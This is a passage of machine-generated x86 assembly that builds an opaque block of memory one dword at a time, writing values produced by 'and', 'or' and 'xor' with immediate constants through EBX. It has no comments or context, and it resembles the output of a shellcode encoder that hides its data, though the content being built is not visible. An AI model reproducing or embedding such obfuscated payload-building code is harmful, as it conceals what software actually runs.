or eax, 0x7cabe266
and eax, 0x6083e000
or eax, 0x80000180
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb17201b
and eax, 0x2b9afc01
and eax, 0x2082e000
or eax, 0xc0050184
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63f3d6ad
xor eax, 0x270c87c0
and eax, 0xa008a088
or eax, 0x40834100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c663c7b
xor eax, 0x690d52c9
and eax, 0xa0808108
or eax, 0x400f6084
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x28343089
and eax, 0x4190cc46
and eax, 0x4090c000
or eax, 0xa0032190
mov dword [ebx], eax
add ebx, ecx
and eax, 0x567080c
and eax, 0x30000
or eax, 0xe094e194
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c33aa24
and eax, 0x2893e190
or eax, 0x3080008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18a01b97
or eax, 0x751fb21
and eax, 0x2118f826
or eax, 0xc0800010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34ef331a
or eax, 0x20c2a54c
and eax, 0x61eac56e
or eax, 0x2000080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b18e03c
xor eax, 0x53649319
and eax, 0x3042242
or eax, 0x200004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75c5c5d7
or eax, 0x44fbdf2e
and eax, 0x57503232
or eax, 0x88000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74838217
or eax, 0x5aa5d1b3
and eax, 0x488443b3
or eax, 0x21122c04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x36b2b16b
and eax, 0x20020122
or eax, 0x2494414
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x767d3819
or eax, 0x2aaa8099
and eax, 0x2e0e4d22
or eax, 0x410200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13982de4
and eax, 0x44a9cdf9
and eax, 0x80920
or eax, 0x2c41400e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71f85748
and eax, 0x6901032c
or eax, 0x20000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x102319f2
and eax, 0x29031968
or eax, 0x800c0001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69229e14
xor eax, 0x23d4faed
and eax, 0x8868044
or eax, 0x61201812
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x167e16ce
and eax, 0x37100818
or eax, 0x71002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19073564
and eax, 0x28102818
or eax, 0x51281000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc28a4e7
and eax, 0x70101879
or eax, 0x82b2300
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ade33c7
and eax, 0x4005002a
or eax, 0x300af140
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58ef101b
and eax, 0x40040000
or eax, 0x20e0a1a1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x389ca687
or eax, 0x3b18be81
and eax, 0x6b202720
or eax, 0x4070040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x117d160a
and eax, 0x6c02206a
or eax, 0x240605
mov dword [ebx], eax
add ebx, ecx
or eax, 0x429d9fd8
and eax, 0x125cef8
and eax, 0x250668
or eax, 0x6b022104
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11b107a1
and eax, 0x5adb0d5
and eax, 0
or eax, 0x1414266b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58552cf9
and eax, 0x3c352fc8
and eax, 0x102448
or eax, 0xa7488113
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x157634d6
and eax, 0x81008
or eax, 0x8004850
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ea978e7
and eax, 0x186dd364
and eax, 0x8085040
or eax, 0x3030919
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d0863f3
and eax, 0x8084050
or eax, 0x4041808
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1cd059b2
and eax, 0xc0148
or eax, 0xf035811
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f6a9725
and eax, 0x4858
or eax, 0x1000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6677c47f
or eax, 0x6f004b8d
and eax, 0x25035909
or eax, 0x80000050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4835905
and eax, 0xa4804145
or eax, 0x248682
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d9e81cf
or eax, 0x1754d073
and eax, 0x93580640
or eax, 0x20802980
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58427aa6
and eax, 0xa985044
or eax, 0x14248a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x22a9f61
and eax, 0x66f2b3ee
and eax, 0x128140
or eax, 0x70092088
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1db79603
xor eax, 0x3915f4df
and eax, 0x800010
or eax, 0xa8461c60
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ec7493a
and eax, 0x28000020
or eax, 0x5009c788
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d8ca55c
and eax, 0x700dc038
or eax, 0x80221000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7ab68cf9
and eax, 0x248030
or eax, 0x85802c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x319a8ad7
and eax, 0x9640800
or eax, 0x2197508
mov dword [ebx], eax
add ebx, ecx
and eax, 0x38f0c0fe
and eax, 0x704008
or eax, 0x40c3c03
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc53e6a3
xor eax, 0x3e4d26b0
and eax, 0x6603c00
or eax, 0x11d4104
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a72dcb8
and eax, 0x4508a118
or eax, 0x2104603
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36af0202
and eax, 0x30868411
or eax, 0x840002a6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6df91214
and eax, 0x20800214
or eax, 0x930785a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e26ede5
and eax, 0x100684a0
or eax, 0xa0800213
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a47a038
and eax, 0xba8786b0
or eax, 0x5000100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55dd52ef
and eax, 0xa802841f
or eax, 0x58402a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1245b7f
and eax, 0x4c0a44b4
and eax, 0x4000480
or eax, 0xd088ba03
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f94471d
and eax, 0x15c84aba
and eax, 0x11080090
or eax, 0x4a638445
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57d3ac66
and eax, 0x40018044
or eax, 0x241c6388
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ac9f71d
and eax, 0x1a900480
or eax, 0xa00a8902
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24ea60da
and eax, 0x20880082
or eax, 0x9534b575
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1aba712a
and eax, 0x10901000
or eax, 0x6d028898
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73d0019a
and eax, 0x60800800
or eax, 0x254221
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc085a6f
and eax, 0x221
or eax, 0x858c8456
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34433c21
and eax, 0x421
or eax, 0x717e5a52
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ffcac47
or eax, 0x2ad5b31a
and eax, 0x29290f13
or eax, 0x24024
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe51e749
xor eax, 0x69aa459e
and eax, 0x4c800500
or eax, 0x230005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47df5c3d
and eax, 0x4020401
or eax, 0x883c3a32
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50403c6e
and eax, 0x5008020c
or eax, 0x2015022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4057a5bc
and eax, 0x10028
or eax, 0x3a0a0dc1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x218d5de2
and eax, 0x453d0ffd
and eax, 0x140
or eax, 0x71566006
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfa892
and eax, 0x62000
or eax, 0x58a0ddb9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5515eed1
and eax, 0x50004410
or eax, 0xa39122a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x213ac55d
or eax, 0x77a7821
and eax, 0x40383631
or eax, 0x40000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73c2d8ea
and eax, 0x23e4e800
or eax, 0xcc010004
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc6d1196
or eax, 0x1c4aa9bf
and eax, 0x1c4da9b8
or eax, 0xe3905640
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f5db851
xor eax, 0x4c78fe5e
and eax, 0x4205040e
or eax, 0x84a28d1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2aa85c33
and eax, 0x22c40884
or eax, 0x90108300
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f4ef1e2
and eax, 0xd2dc9880
or eax, 0x210018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3912a138
and eax, 0x2b2c1080
or eax, 0x1010024f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52dfe170
xor eax, 0x7c1f64a
and eax, 0x8000015
or eax, 0x809d9200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x38d51ce9
and eax, 0x8150001
or eax, 0xb2028ce2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x525ce595
and eax, 0xa80e8095
or eax, 0x1a00208
mov dword [ebx], eax
add ebx, ecx
and eax, 0x340b97f1
and eax, 0x88080
or eax, 0x4d47106
mov dword [ebx], eax
add ebx, ecx
or eax, 0x786e0b71
or eax, 0x5cf7cd2f
and eax, 0x84519a4
or eax, 0x82000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b7c010a
or eax, 0x42ea1826
and eax, 0x8b64002c
or eax, 0x201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8b20592
and eax, 0x200000
or eax, 0xa3dfe84e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x12649da
xor eax, 0x16b87c99
and eax, 0x80069404
or eax, 0x8b80aa0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x774fd9c7
or eax, 0x44871088
and eax, 0xd35b54cb
or eax, 0x2010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6811c2ff
and eax, 0x90020600
or eax, 0x49149d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc4e16e6
and eax, 0x9c8c1dc2
or eax, 0x2000a009
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ec1dc34
or eax, 0x317d3f3b
and eax, 0x28543e23
or eax, 0x20000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f46ce04
and eax, 0x1674e45c
and eax, 0x14106000
or eax, 0x692c0c28
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f165ba0
and eax, 0x6f246428
or eax, 0x10005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8a94092
or eax, 0x44151eec
and eax, 0x411122c
or eax, 0x80808110
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd9b0371
and eax, 0x4910230
or eax, 0x5320f0cc
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2af94fce
and eax, 0x1a961a56
and eax, 0x10001812
or eax, 0xa5b2c424
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6dc8f04a
and eax, 0xa022f04e
or eax, 0x2010380
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x725845b1
xor eax, 0x2a776662
and eax, 0xe20c9005
or eax, 0x5f003c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d0748d7
and eax, 0x20040080
or eax, 0xc0db9220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48317ccf
and eax, 0x8d5f65a
and eax, 0x110000
or eax, 0x2a2e84c1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b271317
or eax, 0x5c17eb48
and eax, 0x7234090b
or eax, 0x400020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20e984f5
and eax, 0x148048
or eax, 0xad007001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a3c6482
and eax, 0xe428a4c0
or eax, 0x10830830
mov dword [ebx], eax
add ebx, ecx
or eax, 0x553e22a7
and eax, 0x6310bd8e
and eax, 0x108c84
or eax, 0x808b4140
mov dword [ebx], eax
add ebx, ecx
or eax, 0x20f12212
and eax, 0x3b4852
or eax, 0x1f041008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c1099b5
and eax, 0x21084028
or eax, 0xdc403c10
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4562ca4c
and eax, 0xf0483628
or eax, 0x2900100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68f41d36
and eax, 0x98fc1d3c
or eax, 0x5014081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x207b79a5
xor eax, 0x40e8f06b
and eax, 0x2908
or eax, 0x17480620
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62853ea6
xor eax, 0x2585b205
and eax, 0x5040010b
or eax, 0x20b24814
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2267f61b
and eax, 0x40053804
or eax, 0x20624023
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c1d0a8e
and eax, 0xc014a85
or eax, 0x82808540
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4f93eedc
xor eax, 0x3d9a6e9e
and eax, 0x33108000
or eax, 0x88840aa4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x886c385
and eax, 0x8848284
or eax, 0x14424d29
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6c2041cf
and eax, 0x3842450a
or eax, 0x2000010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c12e3b5
xor eax, 0x4b01ccdf
and eax, 0x1c000010
or eax, 0xe288140a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2afb4252
or eax, 0x68beaf60
and eax, 0xe8e0ed60
or eax, 0x2000092
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79a8ec45
and eax, 0x8a08040
or eax, 0x12061095
mov dword [ebx], eax
add ebx, ecx
or eax, 0x703e2d95
and eax, 0x4b4e1c7d
and eax, 0x2041411
or eax, 0x91312008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf744ba0
xor eax, 0x67fd321b
and eax, 0x489401a2
or eax, 0x402921c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2da6b53a
or eax, 0x3d7ef68c
and eax, 0x283c2294
or eax, 0x2010001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17a919fd
xor eax, 0x7dbb759d
and eax, 0xc0000
or eax, 0x23000008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4ea29610
and eax, 0x2000000
or eax, 0x24a36c0e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4379f845
and eax, 0x12004
or eax, 0x68161209
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36ebce35
or eax, 0x1fb14f7c
and eax, 0x565c1d08
or eax, 0xa0000001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7e95ce8c
and eax, 0x9d281
or eax, 0x46002458
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1c0136b
and eax, 0x1240
or eax, 0x6d582506
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52fbdba2
and eax, 0x6e5a6b42
or eax, 0x40018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x14903b2f
and eax, 0x10230a
or eax, 0x62414051
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2805d5ac
and eax, 0x14000
or eax, 0x89442850
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf9aa11c
and eax, 0x4150844
or eax, 0x82004b3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x236f2c4b
xor eax, 0x725ffa07
and eax, 0x22380000
or eax, 0x5010138
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c915b3b
and eax, 0x23000203
or eax, 0x4152114
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2315f916
and eax, 0x769712b6
and eax, 0x4000200
or eax, 0x10342c16
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16dabcf7
and eax, 0x14100c12
or eax, 0x816192c9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55d2a872
xor eax, 0xb0b7311
and eax, 0xc0880018
or eax, 0x2403b245
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19303474
xor eax, 0x550e1eb3
and eax, 0x450206c1
or eax, 0xa2b0d018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x43bcdba4
and eax, 0x2908080
or eax, 0xbc01295e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53b0064a
xor eax, 0x15ace648
and eax, 0xa0190000
or eax, 0x442a441
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1570989
and eax, 0x510000
or eax, 0xcdac91fe
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43c74a51
and eax, 0xce9ec994
or eax, 0x20002400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6da9e4cc
and eax, 0x82110818
or eax, 0x8c8e2a6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x619bf062
and eax, 0x8b4208dc
or eax, 0x109c8421
mov dword [ebx], eax
add ebx, ecx
or eax, 0x245aa4eb
and eax, 0x94d68ced
or eax, 0x201100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c0738a0
and eax, 0x75f7c0b3
and eax, 0x14020080
or eax, 0xa9e9834d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e49f658
and eax, 0xb26990c5
or eax, 0x40000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xbb35c51
and eax, 0x23086c53
and eax, 0
or eax, 0x712157a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a015bf9
and eax, 0x7b0080c1
and eax, 0x2a000000
or eax, 0x445f0730
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ba8c683
and eax, 0x21e50021
or eax, 0x90001c04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48dd5cbc
and eax, 0xc01020
or eax, 0xb322c2cb
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4bd6f0a5
or eax, 0x4d65cec3
and eax, 0xade688e7
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x376ab758
and eax, 0x25008040
or eax, 0x4a087787
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1962d967
and eax, 0x8000100
or eax, 0x30480e90
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50f97a2c
and eax, 0x400800
or eax, 0x26342440
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ced9ebb
and eax, 0x16ceba87
and eax, 0x400000
or eax, 0x11292651
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d997820
and eax, 0xd7541f5
and eax, 0x5210051
or eax, 0x820a1e0c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2769aff
and eax, 0x1048
or eax, 0xf4c1a1a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b4861f9
and eax, 0x9480c198
or eax, 0x240c00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d08c05f
and eax, 0x1a80503
or eax, 0x452d020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7882372d
and eax, 0x2ec3dae0
and eax, 0x2c420020
or eax, 0x11d284f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1adf516c
and eax, 0x21d4d7fd
and eax, 0x1000001
or eax, 0x4b0078
mov dword [ebx], eax
add ebx, ecx
or eax, 0x70749c11
and eax, 0x1751458
or eax, 0x2002300
mov dword [ebx], eax
add ebx, ecx
or eax, 0x325e8421
and eax, 0x25a1650
or eax, 0x8000002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3cbfff21
or eax, 0x44b45f59
and eax, 0x14641740
or eax, 0x80a0004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46a5790e
and eax, 0x1a086642
or eax, 0x85000121
mov dword [ebx], eax
add ebx, ecx
and eax, 0x374639e3
or eax, 0x64673dc9
and eax, 0x730731c2
or eax, 0x88908010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x304b0487
and eax, 0xa88f8485
or eax, 0x204028
mov dword [ebx], eax
add ebx, ecx
or eax, 0x45e22ef4
and eax, 0x7040dae7
and eax, 0x408ae0
or eax, 0x9eb41112
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34280a30
and eax, 0xbcd009d2
or eax, 0x40032400
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd0a19d3
and eax, 0x7c0a0000
or eax, 0x2204004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e82b618
and eax, 0x7a004408
or eax, 0x150101
mov dword [ebx], eax
add ebx, ecx
or eax, 0x285ed549
and eax, 0x52461400
or eax, 0x5200220
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5cecd0f0
and eax, 0x2024210
or eax, 0x1425310a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ea29b74
and eax, 0x48010046
or eax, 0x5281601
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5dd1aad4
and eax, 0x44762f8e
and eax, 0x44000200
or eax, 0x9b562d79
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11a05f76
or eax, 0x527ba5bb
and eax, 0xc0b24522
or eax, 0x20000800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50fd31d5
and eax, 0xc0806c91
or eax, 0xd008208
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e77183c
or eax, 0x13ed526b
and eax, 0x83f594a7
or eax, 0x8000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50e0898c
xor eax, 0x6dee91fa
and eax, 0x50c0066
or eax, 0x82c1a481
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60291de4
xor eax, 0x63153fb
and eax, 0x80c1aac8
or eax, 0x4081404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25ce26c4
and eax, 0xa580a6c0
or eax, 0x4a100131
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33d42120
and eax, 0x8dd40720
or eax, 0x2b000e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42ff7320
and eax, 0x4d6998b7
and eax, 0x80000
or eax, 0xc580bfc8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7adbf64
and eax, 0x4002140
or eax, 0x8600022
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46d7195c
xor eax, 0x5ad03422
and eax, 0x14200844
or eax, 0x4b480220
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14a5e5cd
and eax, 0x3480028
or eax, 0xb4000040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x112b9e18
or eax, 0x7e5ba6bc
and eax, 0x5d120618
or eax, 0x80a05840
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c175480
or eax, 0x4e106f0c
and eax, 0xe000708
or eax, 0x210880b2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52ed18cf
and eax, 0x11611744
or eax, 0x21a000a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22258466
and eax, 0x10042
or eax, 0x2c5c3a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5884e3bb
and eax, 0x8000000
or eax, 0x7590961
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62bd27ff
and eax, 0x2100140
or eax, 0xb5c62896
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ad35964
and eax, 0x5e84814e
and eax, 0x1e840140
or eax, 0xa063a280
mov dword [ebx], eax
add ebx, ecx
or eax, 0x712e04fd
xor eax, 0x7b00eeec
and eax, 0x80e70000
or eax, 0x90080cc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4948599f
and eax, 0xc98b99ca
or eax, 0x10002400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21291bf0
and eax, 0xf1809daa
or eax, 0x144005
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32505175
or eax, 0x354fbb03
and eax, 0xb7c889b0
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x631cb2b4
or eax, 0x482c0154
and eax, 0x430080c0
or eax, 0x14522a08
mov dword [ebx], eax
add ebx, ecx
and eax, 0x51910a65
and eax, 0x100a00
or eax, 0xaac090a8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52c0633a
or eax, 0x620377cb
and eax, 0xd093ed9a
or eax, 0x12c0000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ca36798
and eax, 0x32d80d7a
and eax, 0x800410
or eax, 0xc97ca287
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21935973
and eax, 0x588a0709
and eax, 0x48080601
or eax, 0xa0019828
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48dc7a91
xor eax, 0x92d3b8
and eax, 0x51700
or eax, 0x4290c8ad
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d423330
and eax, 0x4387ac85
or eax, 0x80081340
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d019ae9
and eax, 0x8686af81
or eax, 0x304000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b741258
and eax, 0x71c01c81
or eax, 0x2280220
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb62f95c
xor eax, 0x104921b4
and eax, 0xba28849
or eax, 0x804401a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x715ece78
or eax, 0x286fbac7
and eax, 0x146b2ca
or eax, 0x92800000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4ebf0929
xor eax, 0x446ba083
and eax, 0x46290000
or eax, 0x20024114
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f21c6c3
and eax, 0x64204000
or eax, 0x81d02822
mov dword [ebx], eax
add ebx, ecx
and eax, 0x73eb0e11
and eax, 0x41850b2c
and eax, 0x40000800
or eax, 0x38085299
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7caff771
xor eax, 0x1f7ab482
and eax, 0x62228690
or eax, 0x8885116c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x43f9d2f2
and eax, 0x192b0
or eax, 0x28480508
mov dword [ebx], eax
add ebx, ecx
or eax, 0x36214192
and eax, 0x649152a
or eax, 0xc0842045
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b19bc6a
and eax, 0xa5d08800
or eax, 0x22224d0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64ff3821
and eax, 0x20900000
or eax, 0xc800d5f3
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa28ee10
and eax, 0xc888ef92
or eax, 0x14060004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68a31739
and eax, 0x8820300
or eax, 0xa519e885
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30c60ea0
and eax, 0x3e787651
and eax, 0xc400201
or eax, 0x41220052
mov dword [ebx], eax
add ebx, ecx
and eax, 0x728e84a9
and eax, 1
or eax, 0x98d09ffa
mov dword [ebx], eax
add ebx, ecx
or eax, 0x20f2a08d
and eax, 0x8328caa
or eax, 0x3010000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33ba413
and eax, 0x8090039
or eax, 0x74044040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x66b68c3e
or eax, 0x3055a4f1
and eax, 0x6c1dc03d
or eax, 0x81000200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x67dea435
and eax, 0xef99c028
or eax, 0x200982
mov dword [ebx], eax
add ebx, ecx
or eax, 0x669f93c4
and eax, 0x4dbdc384
or eax, 0x411
mov dword [ebx], eax
add ebx, ecx
or eax, 0x785507eb
and eax, 0x5c3c460e
or eax, 0x22000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bf8d03c
and eax, 0x2441622
or eax, 0x18110909
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2578e499
or eax, 0x22d4d643
and eax, 0x2084773
or eax, 0x40000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26b89408
and eax, 0x400
or eax, 0x98a68972
mov dword [ebx], eax
add ebx, ecx
or eax, 0x28afe843
and eax, 0x18282163
or eax, 0x4501200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13b6763e
and eax, 0x9d87724
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc4e9b5c
and eax, 0x8492a840
or eax, 0x28080080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bdaa2d9
xor eax, 0x5baaece3
and eax, 0x84c2a0c2
or eax, 0x2111105
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50360127
and eax, 0xc496a1a0
or eax, 0x28084810
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62587d2e
and eax, 0x8e44909c
or eax, 0x20294200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe024347
and eax, 0x281051
or eax, 0x47006a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6090bde8
and eax, 0x1800
or eax, 0x2012472f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66f9cd8c
and eax, 0x100904
or eax, 0x1c643250
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc7ee1ee
and eax, 0x8742140
or eax, 0x200a1818
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56fa2a55
and eax, 0x64f0c4bc
and eax, 0x64000000
or eax, 0x2375b62
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55f7097c
and eax, 0x4170820
or eax, 0xb1008611
